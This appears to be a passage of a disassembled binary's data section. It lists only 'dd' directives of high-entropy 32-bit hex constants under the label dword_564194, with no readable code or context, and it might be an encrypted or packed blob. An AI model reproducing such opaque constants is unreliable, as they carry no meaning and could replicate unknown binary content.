		dd 0D5193D68h, 0B6B054B0h, 0FC03C9CFh, 0A95156E8h, 52901EDAh
		dd 0BD0C8074h, 0C778DE6Eh, 0C0875D18h, 7FA0E368h, 1ED91C9Bh
		dd 0CAA84047h, 0FD8EB606h, 5F425100h, 1B1CB27Eh, 28F51DC7h
		dd 53D7C0B7h, 0C6CC0A55h, 31725C1Ch, 4082BAC1h,	8EF04341h
		dd 0C03CE0FFh, 354FBB18h, 0A318F47Ah, 5D206908h, 22F000C2h
		dd 0EC396E34h, 0F7077A36h, 2FC68A6Ah, 507B9080h, 0BC3F0E38h
		dd 27200574h, 47FC5AF5h, 0F6BA40C0h, 2E32DDA4h,	6D1655Ch
		dd 8970648Ch, 0CF5AAF00h, 0BB3FBCEEh, 0C0784Bh,	833EC78Dh
		dd 61DD4A02h, 0A40F1C00h, 0DBAAEEB8h, 0F6D42850h, 379D00F6h
		dd 0BA36A194h, 200F58Dh, 392BBFA5h, 8C120Fh, 25E7F9F8h
		dd 0B5712C4Dh, 0BAFA0B00h, 36D59017h, 0D1960069h, 80F8FC59h
		dd 0F41D47D9h, 2F003484h, 0F7095DB3h, 8D61037Ah, 0FC22D55h
		dd 65B69FE8h, 2590B0Fh,	31FBA00Dh, 94D362h, 0D93C2105h
		dd 0EC2DD88Fh, 0BC540617h, 0E98E6B07h, 9860C2C7h, 747C573h
		dd 340BE01Fh, 0ED137014h, 101507Ch, 59A55E53h, 0CFD0C082h
		dd 0F3E0056Ah, 807B1009h, 6103561Bh, 0E967D474h, 0E200621h
		dd 902AB234h, 0E0FFA71h, 0A09E176h, 22EA46E0h, 19000113h
		dd 3CB9F5B0h, 3C056BE3h, 2B00B1F0h, 0E9CFA42Ah,	0C03EEA9Ch
		dd 0BD20E264h, 89B80E8Dh, 0EA3BAD5Bh, 0B2FE3A0Dh, 305CA93Bh
		dd 110809F2h, 64D4697Bh, 4C348F5h, 835BCB28h, 193AF9F6h
		dd 8A3817FBh, 0C4806A1Eh, 7AB1E0D0h, 9F4C1928h,	40FD606Ah
		dd 30F1369Eh, 0E500F5E6h, 0AA5AD2A0h, 7B186Eh, 1C11B094h
		dd 72776BC0h, 0F847F630h, 8018CD63h, 26284640h,	0C33188ECh
		dd 0D7CA28CEh, 0E201087h, 5286607Fh, 800E936h, 283C7311h
		dd 123D22h, 0E7988D95h,	0B1484AA3h, 0BF20A41Eh,	2C1D6724h
		dd 85EEA9C0h, 0CA40D1h,	3CFB7AE8h, 9B098A7Bh, 81FE8F00h
		dd 0FD3D852Ch, 56512E12h, 0DA930EF6h, 48E7E3A0h, 57001C2Eh
		dd 52ABB3F2h, 55016D3h,	20D09439h, 80A78701h, 3E7F9370h
		dd 49F68E00h, 0C98799FCh, 1C1F79B7h, 80ABDA3Fh,	53903421h
		dd 461C5F23h, 0D6CECCACh, 0E6C5009Ah, 75013C32h, 0B1701C26h
		dd 86924F1Fh, 0E8EB7EA0h, 0BCB0E2B6h, 90037E8h,	2E8AF9A8h
		dd 664DA0h, 6BB299BCh, 0F5DDD23Dh, 0C1BB5400h, 5AFA6878h
		dd 84EB004Ah, 8DBCC765h, 3D7A6AC4h, 1BA203Ah, 13D9CF49h
		dd 6880CB02h, 7BDC063Eh, 8B185DD2h, 0BE48779Ch,	0FEB60C1Dh
		dd 0E890853Dh, 71C09912h, 25449200h, 3F6577ACh,	0F8BE61h
		dd 0B108336Dh, 0D2043A60h, 4A8458C0h, 1A0673Eh,	174FAA91h
		dd 863FC6B6h, 0DE073A51h, 0FB5C0C29h, 678B158h,	5F62D400h
		dd 7F367192h, 0D1820F76h, 524A2A03h, 50870FE6h,	0C7C538D8h
		dd 0AA152414h, 97820D84h, 0F0D7187Fh, 0EA9F693h, 0DB284E6Eh
		dd 0D03A17E7h, 0D191B01Ah, 0A36AB906h, 496F7Ch,	0D5AB125h
		dd 828BEC47h, 0A7F88007h, 2720F920h, 6624FDh, 0B753C695h
		dd 374BF612h, 8F4CA11Ch, 68491900h, 973B7C6Ah, 0FF4D3180h
		dd 0D50D40B1h, 1179FE3Ch, 3F9C040Bh, 0B0359Fh, 179B051Fh
		dd 42002704h, 772E7058h, 0D259B5h, 0E541FD90h, 0FBAD4FB9h
		dd 0C26C7200h, 1B7A0984h, 7CB600BDh, 6FEB5F3h, 0A22CCE7Fh
		dd 981CD85Fh, 0AF682E00h, 7F52DEFFh, 906BF813h,	0A46DA066h
		dd 0E3DC0003h, 4C491C21h, 5501527Eh, 0F785C23Fh, 0C9C8D659h
		dd 751D0317h, 2144A04Dh
dword_564194	dd 358808A8h, 0E2834F06h, 8AF87Bh, 20381E2Ah, 3FE6781Ch
		dd 0C05F8001h, 390B1BDBh, 0EB8B1880h, 5A40AB8Eh, 8ACF2400h
		dd 448D10F9h, 0F5AA4C0Dh, 18B9602Eh, 7886492Fh,	1BA33Eh
		dd 9DFE5898h, 0FAFB05h,	37FFC3C4h, 290A50E2h, 0B7B37F00h
		dd 36AB7892h, 543B387Eh, 86FD4686h, 7A0059DAh, 4CC071F9h
		dd 261E94h, 6BFAB2E8h, 0C22272B8h, 0D681802h, 63420E89h
		dd 165DD197h, 5754D451h, 0F86F6CECh, 63B0F3h, 0A803ECEFh
		dd 21288741h, 0A0D73F00h, 5C85D073h, 0B6C02AF0h, 86EB06F0h
		dd 8ADCD5DEh, 80F0C00h,	18D3E2FAh, 173C3004h, 2162F41Eh
		dd 96AD9C1Fh, 2BA8AB80h, 322B310h, 0DAF9F0E0h, 82C8AA93h
		dd 46008E68h, 3AF2855Bh, 8612FEh, 87A3C2C4h, 0BC74FD2Ch
		dd 0B53D20F0h, 1D97005Ch, 32AE793Fh, 0C9E2079Ch, 80B8DC67h
		dd 0CB87EE9Fh, 7F242774h, 570100A4h, 380F1B39h,	268F8h
		dd 5488B3E6h, 7BFE6D98h, 1AA4520Eh, 16D200CEh, 69D3DFh
		dd 63F177AEh, 71592312h, 94104E3Ch, 8CE14Ch, 509FB534h
		dd 2F860Eh, 94588362h, 0F86BBAAAh, 22E28902h, 8FFEE5F6h
		dd 4955E0B4h, 7E70BDh, 0D0D8C138h, 133A9CFh, 2B003276h
		dd 0E0F0FDC2h, 9C9BD4h,	15E38C18h, 367A8E6Bh, 444E3D00h
		dd 5FDBCBDh, 0FB90774h,	50DA4770h, 19AA2878h, 9C049300h
		dd 0E53C63C4h, 0BDCD0062h, 338D6CF0h, 6E1CF8BAh, 0F640552Ch
		dd 0D975A8A0h, 4A3B006Bh, 0B5F08FC0h, 0ECA07E4Bh, 0BCA18176h
		dd 0B9AEF0A2h, 4128E5B0h, 0B43AA4E2h, 0B893006Dh, 4EF7550Bh
		dd 545A0013h, 9F48CB6Ch, 74FCDD76h, 72601D00h, 6F0FB751h
		dd 0F1B900A1h, 89238078h, 2B003350h, 67EA4356h,	715931Ah
		dd 0AE1631F4h, 0AB323290h, 8D0C6C40h, 4CC60813h, 2DE86907h
		dd 51CFD591h, 24C00D21h, 0B7E009CEh, 38A01B2Fh,	0F083F3DFh
		dd 3B769902h, 80EB5A20h, 98A6389Ch, 654C00B9h, 0AB3A2A4Dh
		dd 2D128B0Bh, 744084CBh, 4202E9EBh, 0B16B00BDh,	0B5863D04h
		dd 0FDB0884Ah, 839B8900h, 0A48FB6C4h, 21A0C045h, 0D59DC5C7h
		dd 6AE84600h, 0CE80E407h, 7AEB001Dh, 9810F578h,	484C1277h
		dd 810C3FFBh, 0D98BE48Fh, 37F08486h, 6C7E00EAh,	4CE87A3Ch
		dd 0D3002FCCh, 0A663172h, 1DE0F09h, 0F21BAD90h,	0DC052502h
		dd 0BA00B996h, 568BEEDBh, 5268FBEh, 31142DA9h, 0EFBF8083h
		dd 0B7E049A4h, 0A0A30C00h, 43B559F5h, 143800D5h, 0EC6D3088h
		dd 5702C3C2h, 8C21A984h, 0FCA0804Ch, 0B8E8AFh, 0C997EC38h
		dd 0F069C1EBh, 85A6D100h, 7F2D3944h, 0AD7B0056h, 0A230D303h
		dd 5794A66h, 6BED1B00h,	882FBE5Eh, 0AE0A0051h, 0B0FB567Ch
		dd 0FA4D5481h, 0BB2200F4h, 240899ACh, 0B2EC93h,	0DAEE4BAFh
		dd 1132F11h, 1E63A700h,	5A58E49Ch, 54EF0335h, 44E39B40h
		dd 63413AB8h, 91000472h, 0CC220161h, 71B154Eh, 0D0F69E43h
		dd 0FB45E072h, 3B00915Eh, 93EF3441h, 1DEB8136h,	0B0A6BE32h
		dd 0EA39BAF8h, 0BB092104h, 0D480FC02h, 427F27h,	98E24ADFh
		dd 9B5C71B2h, 0BFC49700h, 6499C520h, 53263872h,	0A2006BCCh
		dd 0EECFE344h, 7C03E878h, 2E546934h, 5D1E98A1h,	0AC6306E1h
		dd 18D27529h, 0FC7E2102h, 0C8B7B036h, 3D31A294h, 0E08361BBh
		dd 0ED05D3CDh, 40C5FDB0h, 0C60E6D16h, 97D96D00h, 8D7332h
		dd 9406AC4Dh, 641B35B6h, 0C0F74EF0h, 0C550E980h, 6F4CF6BCh
		dd 298B18CDh, 783D7EC4h, 4BC031Ch, 0D3CED822h, 4F795C98h
		dd 286B7807h, 49216C85h, 0A0407031h, 0E894EB0h,	4AD31815h
		dd 62CD07h, 0B9BDCEADh,	3E0BC52h, 53DAB704h, 1F5D0EEh
		dd 2A7500B6h, 26C1BE1Ch, 3A002794h, 6CDFF6B9h, 7425818Ch
		dd 33B709C2h, 2CA0700Bh, 0B55BDE32h, 52230780h,	520388A9h
		dd 0D91B942Ch, 0F44B60DFh, 7700A25Fh, 2A201FC9h, 0B7CD1Dh
		dd 0D827C71Eh, 4142433Fh, 3764B901h, 2F04CAD9h,	0E56C9840h
		dd 0BD1D0070h, 0F3D46EF9h, 77E61AC0h, 0A4606800h, 0CD02829Dh
		dd 631E00B3h, 43FF92D4h, 2400C4EEh, 980D3F7Dh, 3195F26h
		dd 0F1F27502h, 62F890C6h, 2A00E4E7h, 5CD6F0B4h,	0BD97EF8h
		dd 3BDF5ADBh, 0AAE0B020h, 0DD018183h, 249AADCDh, 5DC5F61h
		dd 794B0362h, 64A6A971h, 0CF8F90F0h, 74F98E00h,	0BF21D634h
		dd 89C83C53h, 662FA68Eh, 0A880DE0Eh, 323E9AC0h,	4D09ACB8h
		dd 0A57F1850h, 3BC0E680h, 0E869E154h, 615E1F48h, 11E018DCh
		dd 0FC40F64Bh, 6FF059h,	0CC2E753Fh, 6050156Dh, 4E496460h
		dd 75A0ED7Bh, 11E0F8h, 1EAEFE9Eh, 0ADB5B918h, 101FE07Ah
		dd 30804C33h, 86BC493Bh, 0B46F067Ch, 188D0D1Ch,	0FA8F3807h
		dd 65803534h, 9012DBh, 2D1595E6h, 9AD7ABBBh, 0B2647B50h
		dd 7E7C7701h, 0F1850D63h, 66B9830h, 0DA36D1F3h,	793CC871h
		dd 40ADAECCh, 1280209Eh, 0B8F7CE98h, 0EEA800C6h, 7AB52375h
		dd 6174336Fh, 44EFAC00h, 0E970F6BCh, 9F6200BAh,	512759BFh
		dd 2B07CB7Dh, 5A649B60h, 31B944B0h, 0E4610422h,	801E15FCh
		dd 570A0B14h, 0D106D0F7h, 9A8C6501h, 0A0AD32F1h, 0F50F02F4h
		dd 2CD2C8h, 8970C86Dh, 9F711338h, 0CF34EC03h, 0F08AE00Eh
		dd 68F07Bh, 83ABC004h, 0A17230D0h, 493CFE00h, 0A6D4CAE3h
		dd 0D6BB180Eh, 0ED81E1FAh, 4F25EA00h, 7CE68021h, 71BE0096h
		dd 4741E83h, 0F202B13Fh, 62DB36C6h, 0CF908055h,	3063F3A8h
		dd 7F105954h, 0BE648DEh, 0D0439C00h, 0AB44E06Dh, 56981CA5h
		dd 0A8DA9494h, 25D42098h, 0F1663500h, 2B694A33h, 14054448h
		dd 95748500h, 86964E0Fh, 0C7291CBEh, 0F9533Bh, 0C12EF8E2h
		dd 0C81D3657h, 3E0068FBh, 227C4FB6h, 72250A8Eh,	83E46306h
		dd 5A557618h, 0E5B98B98h, 4284524h, 34BAF187h, 3D146F00h
		dd 0B5C40002h, 3F80F3F7h, 0D312D5BBh, 544060CEh, 0BD0F68D1h
		dd 0CC2500BEh, 75EDE336h, 84A0F3C3h, 8C399B77h,	0B49E01D9h
		dd 4B293682h, 2456CC24h, 809CA6B5h, 43A91131h, 0EE039601h
		dd 472C2E7Dh, 77B4C086h, 0B72D003Ah, 0F74C5FEAh, 330016EBh
		dd 0D1485D7Dh, 0E0C2697h, 6AAD1C20h, 20EA5586h,	48457000h
		dd 9DCDEA6h, 0EBDE257h,	0D301234Fh, 0E905A143h,	603A2800h
		dd 0EA9D348Eh, 0C5CA0479h, 3845D55h, 0E09CBC9Eh, 0F9FB3C80h
		dd 18B62DF5h, 0A0063038h, 88C22234h, 0D7760041h, 0A8864BF1h
		dd 0B1DEE11h, 72181260h, 0EBFC921h, 0F846DDF1h,	875B0056h
		dd 5D176883h, 7491D528h, 48387846h, 5E97CA84h, 0C10C370Dh
		dd 6E505C0Fh, 0F5599500h, 2C9E3125h, 0B480FA00h, 0EB93B07Dh
		dd 0C355729Fh, 0ED24D318h, 29C148h, 0E54A98A8h,	90EA7180h
		dd 6FD2B0ACh, 0E420B1CDh, 32DFEC45h, 0FAF6B876h, 0B6129E00h
		dd 83B1C6CEh, 0CEAECCDh, 79BCFD11h, 2A0396C0h, 8D349962h
		dd 0D0A190A9h, 35710090h, 7FCE521Ch, 0E548F741h, 56FC00A4h
		dd 0EE31D6B3h, 0E7B000C5h, 8AF0B5FFh, 17052DCEh, 0F3FAA4F1h
		dd 1DF6C202h, 0BD27409Dh, 66E40024h, 0F043379Eh, 4474FF76h
		dd 0B6215960h, 7D77E5CFh, 270600F6h, 2DC2F358h,	3731D77Eh
		dd 0F7F150C4h, 0E504450Ch, 478F9E7Dh, 0C7205432h, 0C6E420h
		dd 0DA53AF30h, 0DEB67991h, 28B8E300h, 927707A2h, 6720F884h
		dd 0A0951027h, 0B60A1D8Fh, 0C1092E00h, 0F89185A1h, 0C0C07E9Ah
		dd 97171D59h, 9C676401h, 0B160FD11h, 0C5F7523h,	6612083Ch
		dd 21C0E408h, 0F313F5FCh, 9C0A0E2Ch, 0BA0090F9h, 3C9E7E0Bh
		dd 0B5F0E8C0h, 0C3D4536h
		dd 4EF4825Dh, 9B78CF70h, 54A4E218h, 0C0989510h,	6FE79D50h
		dd 9272CF69h, 26D4DA06h, 7B05FBDh, 0BE609E64h, 0F8801959h
		dd 0AA2408Fh, 0D4683E60h, 0F61734Eh, 7991C0Bh, 0BF876CA0h
		dd 0E05CD29Ch, 0E72B00D3h, 22505688h, 0F1230072h, 7DCB668Fh
		dd 0DC381D07h, 519B9DC9h, 8D3DD900h, 0AF05A3h, 0C472E537h
		dd 84ED889Dh, 4443611Eh, 51D20CC0h, 0ED12A8A1h,	0E0B10FECh
		dd 52CF0049h, 111BD6DDh, 9E7A29F3h, 0A1C92400h,	0B7798A74h
		dd 0C6580790h, 80AA6D85h, 0CEC446C5h, 2207F3E2h, 0ABC289F9h
		dd 8FA106C0h, 0F22C0303h, 9AFB2BA0h, 6AD21000h,	0BFA5B205h
		dd 7D47187Bh, 0E51C086Eh, 82BD20C0h, 6813506h, 1166791Bh
		dd 0D12058FFh, 9A3221F2h, 0FCCD5604h, 0DC051C20h, 7A4FA510h
		dd 0BF21B6CCh, 0B405740Fh, 737E005Ch, 5F247783h, 40C6832Dh
		dd 0A039C000h, 3CBCEA5Bh, 0D9E11323h, 0EE0A0044h, 90DC30CBh
		dd 404D3207h, 0A08E5778h, 0EAE29CFh, 0C8F9006Fh, 16856BC6h
		dd 0E60062E9h, 1D945D3Ah, 233D4Dh, 57D2902Dh, 0FDAD8748h
		dd 6900867Dh, 5E048212h, 962CDCh, 48B00390h, 0E8A8B9C3h
		dd 2839C600h, 0AF1CE79Ch, 727A0015h, 7F862C5Dh,	0DB0322AAh
		dd 0FE601731h, 0A3E7D13Ah, 0DADDCh, 0E30CD596h,	4AC0CFD2h
		dd 295A6800h, 0B45E3A55h, 1CC40035h, 237C8704h,	0A400D5ABh
		dd 0C8210520h, 1C7486D0h, 7D79ECh, 6B26CC8Bh, 0FF06E681h
		dd 0A01A6E46h, 0CC0F850h, 0FCCB916Dh, 500A518h,	9264CE4Fh
		dd 0BA4F423h, 0D3748D02h, 6F1E475Ch, 0A61F569Eh, 0AA919501h
		dd 0E1E7A9BCh, 19854BD4h, 0C062258Dh, 0CAA4D731h, 4399EE00h
		dd 0C0108960h, 0E94D0CD6h, 3B704897h, 42C5500Eh, 0C0E82FE7h
		dd 9088455Ch, 0EC8E0084h, 0F002D9E4h, 0C6061246h, 8A6F1ADBh
		dd 0C93601B9h, 8D81E02Ch, 0C8BE08h, 510E3361h, 3D2E820h
		dd 98434B75h, 780E2ED9h, 0A0A5908Dh, 0B3B501DBh, 0F1FB007Eh
		dd 0C3FC8EEh, 0C600B943h, 79A81786h, 0A17722h, 0AA8DFCBCh
		dd 0A0EECF4Eh, 753FB70Eh, 92030187h, 76C49E06h,	0A3BD00C3h
		dd 0C6B732EEh, 28C005C0h, 0C430FF1Ah, 2B1F013Dh, 438BF263h
		dd 9FF6D173h, 0C404CA21h, 87C1BE3Ch, 212087A6h,	530600BFh
		dd 19F18B2h, 0A137D04Eh, 578030A0h, 1DCEABA9h, 412CC203h
		dd 0AC8F5238h, 35218054h, 0A2F54FE1h, 2F86189Eh, 0EA419856h
		dd 5B184A06h, 3C284E76h, 0B006A5B7h, 101E131Fh,	450047F4h
		dd 0C659E14h, 0EACD7683h, 8897608Ch, 393648B7h,	0EC11A700h
		dd 0B03F7506h, 0A24C01A3h, 0DDDB26EEh, 2A63700Dh, 0DC5DB300h
		dd 28778D12h, 69C3194h,	0E07519C8h, 92F043FEh, 17EA0E00h
		dd 10614F79h, 44B200B5h, 0C97F9ABDh, 3400FB03h,	4E3148DCh
		dd 3A407945h, 1780119Ch, 2778E64Ah, 81007054h, 3BB9B32Fh
		dd 1E836531h, 8FBAA171h, 6DA0F314h, 0B7A342D9h,	5A7BF698h
		dd 91AFE003h, 0B8AE8434h, 18F10403h, 0A00E9FA0h, 70B19E9h
		dd 8FBC83h, 16486EFCh, 7586007Ah, 6DA10F9Ah, 0BE00B141h
		dd 5878EFEDh, 649B478Eh, 0C0312887h, 4017AE24h,	39D55C00h
		dd 66DE78C3h, 2D450024h, 949A0EC0h, 0F300DCB9h,	73D4A84Dh
		dd 0F37B816h, 3F26A287h, 53B66A3h, 0E04D0C99h, 3400EFC0h
		dd 0B388BAF4h, 0E562B67h, 93C8F70Eh, 3640EE6Fh,	4B9AC647h
		dd 88695F30h, 308395A2h, 0D720F5BDh, 0BE00105Eh, 3C93E26Fh
		dd 7C17B9E8h, 0D470C0BBh, 0C4A0238Ch, 64B03901h, 6BBE9EF4h
		dd 0C805488Eh, 0CEA6160h, 1D006385h, 0BA3A781Ch, 0DC8C5317h
		dd 0FC834040h, 95EF02F9h, 936F8500h, 75486831h,	56A000A6h
		dd 0E4512492h, 12F832D0h, 33A7370Ch, 7652F6ABh,	8130CEF2h
		dd 11929720h, 0E6019541h, 0CB77E88Fh, 0EC80C56Dh, 0EB9B56A4h
		dd 9505EEC1h, 0BB38805Eh, 84768380h, 0DBE80460h, 0C0BA81F9h
		dd 96CDE489h, 0CA994400h, 859D2B73h, 7A110045h,	81F6CF78h
		dd 3107CC50h, 1E712AFBh, 0D846E50h, 6C7003Fh, 0F9E29952h
		dd 1000EAD9h, 4A8FFA7Fh, 7E74538h, 9E634F96h, 0B88E71CAh
		dd 0D938805Fh, 0F055629Fh, 0D2210057h, 0A38B909Ah, 0CC00D586h
		dd 0A68AD82Fh, 0C0CAC8B2h, 95B5C060h, 11FCB41h,	0BB80180Fh
		dd 579B7799h, 56E000CCh, 96C4955Bh, 36034F38h, 43840C76h
		dd 0BF203E6Eh, 9B22B21Ch, 0B0D8517Dh, 8900F649h, 9F07135Fh
		dd 30F5DCA5h, 0FD1F3F1h, 7A777678h, 643E2117h, 900C11h
		dd 0EB026CCEh, 767D92Dh, 7E94F0D7h, 4C405E51h, 8EBD9E09h
		dd 0D019450Ch, 3A39716Fh, 8300A2E8h, 50F72003h,	17609137h
		dd 0E72A0650h, 8F4400EDh, 61CE8829h, 3F0087F1h,	3DE2FFBBh
		dd 0C854E6h, 0D59910F7h, 0D3847706h, 0D92A0C1Fh, 4130EE00h
		dd 5E33D0h, 13679DADh, 7F8D15C5h, 0CDCAC603h, 7EB049E0h
		dd 0CCE6008Ch, 6465EF45h, 96007813h, 43B7AF20h,	7FC7DF07h
		dd 93F2A1h, 0F9973582h,	0F6878F6Fh, 4025E01h, 0BA55E330h
		dd 0CCCD20h, 9E744F4h, 27BB01E9h, 1583A100h, 669BA61Bh
		dd 200F00ABh, 46258503h, 0D707D3E0h, 170D8AFAh,	0BB420E50h
		dd 1330C0A0h, 807C3B50h, 5A004C71h, 0DF68DD62h,	318191h
		dd 7F9F2C34h, 325305EFh, 0A301A2E8h, 0E9D79DE0h, 0F0807843h
		dd 0C082085Eh, 42008598h, 6FBA2BDh, 147CEDh, 0DCF0A0ABh
		dd 0CADF1F22h, 0E0C51D06h, 0CB17BC3h, 0E968DA63h, 4E60645Ch
		dd 8CE1F750h, 0BB10082h, 97208DA0h, 41E8821h, 0C34A8046h
		dd 0FC8BB410h, 751580E2h, 60731871h, 9AB81842h,	400E7B08h
		dd 20044CCBh, 7E95A106h, 0AE220194h, 0EBA06C68h, 0CC50C9F1h
		dd 4100CFCEh, 0D0FA7D97h, 72A4AD4Ch, 0F05A1FC3h, 76F800A9h
		dd 43E263CEh, 0ADAF6900h, 2B93EDD7h, 3DF813h, 0D8C5854Fh
		dd 903588F9h, 50D1F400h, 84BE1D96h, 0B9480067h,	9A32B205h
		dd 2A727B9Dh, 23AD88C0h, 138917Fh, 0EA0AFA06h, 0F89A9413h
		dd 4B7BC425h, 9C7D691Bh, 0DE3D090h, 0EE030071h,	3607388Fh
		dd 0BA0016C2h, 56C41BF0h, 0ECAE8832h, 94150E3Fh, 0B7A3184Eh
		dd 0B2B04F5Eh, 221EE0FAh, 98014A7Eh, 0AC3AF3E7h, 808058B9h
		dd 9A77DCD2h, 6D007955h, 4EC2981Eh, 0CDEB11h, 0C9852E9Bh
		dd 7F4F8063h, 4CB8F675h, 0B011DF14h, 87F8008Ch,	94ADA9CDh
		dd 0B15E6150h, 828AFEBFh, 860B15E9h, 0C9DBE029h, 66F50019h
		dd 0D8D9D28Dh, 0FB1EED91h, 65C1D4A2h, 2F85FD75h, 76D1AD0h
		dd 6EE9D94Ch, 86800E1Bh, 681E595Bh, 61C9BE0Fh, 41758069h
		dd 2E66C322h, 0C01BA1Fh, 1A48BC6Eh, 4AD60F07h, 27C0F419h
		dd 0B64847h, 0A6EEAE2Dh, 555B6269h, 0D1FF5Ch, 0D0BDC5E3h
		dd 0A3C966h, 0D3E74D1h,	58F04B99h, 81037B7Ah, 0E3AFBA1Eh
		dd 0DA79008Dh, 0DF228699h, 503AF685h, 0A7200C1h, 9D579A40h
		dd 4C8A510Dh, 18A82C1Ch, 0A8415822h, 0FDF2EAE6h, 8C156E06h
		dd 0C1F36Fh, 0FCC318C6h, 0CC7E22Ah, 8143D814h, 7E1B0F8Ch
		dd 0DC2707C8h, 98209065h, 766DBEEh, 49773C22h, 700160BBh
		dd 0AF7B7312h, 8CE25E00h, 0B5724C64h, 446F0082h, 33418A74h
		dd 0C6008DB3h, 0E024E6BCh, 0FB66C7EDh, 40D12448h, 30C0B913h
		dd 59BDEEE1h, 0D07750BAh, 0A3831875h, 4E428840h, 19976D36h
		dd 0E10485B0h, 0FB0512EAh, 0DE3A2FE0h, 255C4B73h, 0DB007AF3h
		dd 5867838Ch, 4575BFh, 6FC3D866h, 1405E290h, 0A67DB000h
		dd 2B3AD959h, 0C0B23B5Ch, 6CF6D607h, 0CDDA077h,	6400B151h
		dd 7AF3861Eh, 70BBD0h
		dd 0ADE161DBh, 45D766C2h, 4AB8CD00h, 96C0C52Dh,	162B761Eh
		dd 1CFA262h, 0B4E5E75Eh, 0D45FE9B7h, 0DA00A9CAh, 0A41293FFh
		dd 0E65B10h, 214B7B88h,	0E5835D2Fh, 0A7D4710Fh,	0CF24E0AFh
		dd 4C80F01Ch, 87009494h, 50D59866h, 2D00174Eh, 371D19D4h
		dd 12A663C4h, 1FB39F5Eh, 0C5DB40A1h, 6CF10379h,	0C890FD51h
		dd 0A000AC50h, 199F624Ah, 13A932h, 0E09C9727h, 0B3144446h
		dd 0D834981Ch, 0E4A1E207h, 0D95B0B30h, 22A300E1h, 0B31BA720h
		dd 61005FB9h, 0DB951CB7h, 17EBF886h, 0ABA3F6D2h, 970D7B07h
		dd 315FC1D0h, 2D6C071Bh, 2001F7FAh, 0BAFB70D8h,	6E8F9D04h
		dd 6493D71Eh, 78076CEh,	8A147F2Ch, 834CC224h, 9E3B8A0h
		dd 7B07013Dh, 0BA10F02h, 0BD30C0DFh, 914490h, 37E7571Eh
		dd 480A5E26h, 0A297990Bh, 0E1FC007Fh, 0DC3956h,	36A86867h
		dd 931EB3ACh, 8CEEE09Fh, 0FF812E2h, 9E400048h, 0BA883DD2h
		dd 1D7E5A1Ch, 21097540h, 0C6BCFFh, 586BA90Dh, 0B178B843h
		dd 610279E6h, 17CA69B3h, 0C14848AAh, 18349044h,	0C1DC8F67h
		dd 0E907AD32h, 9B9E522h, 0E8808129h, 0C8304336h, 356C1F70h
		dd 633E809Ch, 7E8C11C6h, 0A2B62200h, 0CE6F2D1Fh, 0FED50368h
		dd 0DEB72829h, 884634E8h, 83DDC600h, 5BE876B1h,	9D9F00D2h
		dd 61574D52h, 0F401C808h, 0BF92106Dh, 5CE0E58Fh, 0C56F0074h
		dd 339FCD80h, 0CCFB4DE7h, 0B73B503Fh, 0BE888083h, 0F16984D1h
		dd 74E0000Bh, 0A1629AB0h, 0DF008B8Fh, 36CF6551h, 2A8EF9h
		dd 0BEB70FF3h, 0C675F2CBh, 99F4610Ch, 2C206Ch, 0FD5146F8h
		dd 18FA4074h, 661EB290h, 0B2808B1Dh, 96AC2A53h,	5CF4E5h
		dd 10BC34B5h, 0DF2146A9h, 1F555900h, 0E2279138h, 94335019h
		dd 31CF009Dh, 0CAF950D2h, 0E50FC07Dh, 0F369645Dh, 82F7084Fh
		dd 60CBF433h, 0C026F1BEh, 470A6A38h, 40003AC3h,	7A842EBEh
		dd 90DE25DCh, 0D870070h, 0F8155A4Dh, 0E1048CB6h, 0D4A1C5C7h
		dd 1EEDCC8h, 8592D19Ch,	20335CB8h, 0DF00B53Ch, 46154B56h
		dd 21D872h, 60C4CE4Dh, 0B53ED06Eh, 1FBC5E0Eh, 20296Bh
		dd 30194558h, 0FBE7C95h, 970E075h, 69972580h, 0DF48D86Ch
		dd 760403B2h, 0D0F47EE1h, 15572F8h, 1B29D32Ah, 0D8BB53BDh
		dd 2200C3E2h, 0F706B633h, 3618BA6h, 27BAC5C2h, 3DA8A836h
		dd 143DE905h, 26A68019h, 7773932Ah, 0D2F4395Ch,	76D59A80h
		dd 0CD47898Bh, 5DD0BA01h, 8FC1357Ch, 7D8EDFF8h,	43601232h
		dd 49D04785h, 77E0801Eh, 1700DFF7h, 0D33D0610h,	0B84D61h
		dd 0FCC1F04h, 0B388FFE5h, 1E761300h, 1C3BA938h,	2C9F74F4h
		dd 38DCE4h, 80E29979h, 0AB60EA36h, 56247FA4h, 692100DAh
		dd 4CD0BA7h, 0FE26C982h, 93001AF0h, 2C434684h, 944E00C5h
		dd 38B22E17h, 8E00E269h, 0F29ED4AAh, 0E0DA42h, 0EBCEDD82h
		dd 1502041h, 1002F107h,	7D81566Dh, 90CF32CBh, 0EC96893Eh
		dd 5AD9011Dh, 88791407h, 6F33D43Ch, 0BAB6B100h,	5725F1Fh
		dd 860D007Ah, 0B203AFB0h, 0B700C2F8h, 6E91E823h, 59D8BD3h
		dd 0A4998F66h, 0BF1C5Eh, 1902F803h, 902CB945h, 0CD00436Bh
		dd 92479D9h, 0A6D80070h, 2CEE46C9h, 0C1003F66h,	0FD183A93h
		dd 7EBADEEDh, 130B00C6h, 2C9CC64h, 7707B791h, 0FB9F562h
		dd 42DD7AF0h, 38184C13h, 896F1118h, 0FD01F199h,	4410A6AEh
		dd 80806A54h, 4A932CF3h, 75001E97h, 341CE0EBh, 98A781h
		dd 3AC7C58Eh, 0AD29588Ch, 3241E5Dh, 225BF22Dh, 0F0D803B0h
		dd 0C6A36037h, 6D760C7Ch, 0B8728000h, 4FDEAB14h, 537E032Ah
		dd 4C57A6FFh, 3CC54580h, 0D6245D00h, 0FF68E1Bh,	0F00250E4h
		dd 0D53000E1h, 5A7AFE56h, 0F51263DEh, 0A43099FCh, 3C67559Ah
		dd 0D3018769h, 95C175A8h, 0A8C0FE10h, 0C901B8ACh, 808BFD8Eh
		dd 24C85BF8h, 0C5E900E6h, 31D2A8A2h, 0E10005EFh, 59C35419h
		dd 4EDA76h, 0E5518026h,	655E8775h, 8E3E0B00h, 2001BDACh
		dd 64CA009Eh, 567A5BDDh, 0EB00062Ch, 865D51BAh,	0EF99C6h
		dd 3F2E6C9h, 5A64926Dh,	0E0DE1200h, 3A960683h, 5E73F6h
		dd 97F168ADh, 0F3CEA635h, 47737800h, 915DBCE0h,	581C1E12h
		dd 5CCC0BB4h, 0AE80F40Eh, 5B7A539Dh, 80EE762Eh,	0E298DC00h
		dd 8CF635h, 0AA9322D1h,	0D9C3FB24h, 88850200h, 0EF9CDEBDh
		dd 0B64707CDh, 10F7E493h, 0AFD07141h, 3F749907h, 7770420h
		dd 5D2E3BF0h, 82C600EAh, 46E2C94Ch, 0E7E41542h,	7BF2AC7Ch
